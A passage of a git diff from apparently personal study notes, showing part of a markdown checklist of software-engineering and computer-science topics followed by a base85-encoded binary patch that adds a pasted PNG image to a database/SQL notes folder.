etc.) + - [ ] debugging techniques + - [ ] performance optimization strategies + - [ ] software documentation best practices + - [ ] ethical considerations in software development + - [ ] emerging technologies in software development + - [ ] career development in software engineering + - [ ] soft skills for software engineers (communication, teamwork, etc.) + - [ ] project management basics for software projects + - [ ] open source contribution best practices + - [ ] remote work best practices for software engineers + - [ ] continuous learning strategies for software engineers + - [ ] data types + - [ ] bytes and bits + - [ ] number systems (binary, decimal, hexadecimal) + - [ ] logic gates + - [ ] set theory + - [ ] graph theory + - [ ] combinatorics + - [ ] probability theory + - [ ] statistics + - [ ] linear algebra + - [ ] calculus + - [ ] discrete mathematics + - [ ] compilers + - [ ] interpreters + - [ ] automata theory + - [ ] formal languages + - [ ] Turing machines + - [ ] computability theory + - [x] MVPs and MVTs # Data view query diff --git a/Career/Database - SQL/Attachments/Pasted image 20260603221345.png b/Career/Database - SQL/Attachments/Pasted image 20260603221345.png new file mode 100755 index 0000000000000000000000000000000000000000..32097e29d5e87a85a3973e3fe6d33890be66bcf7 GIT binary patch literal 457339 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 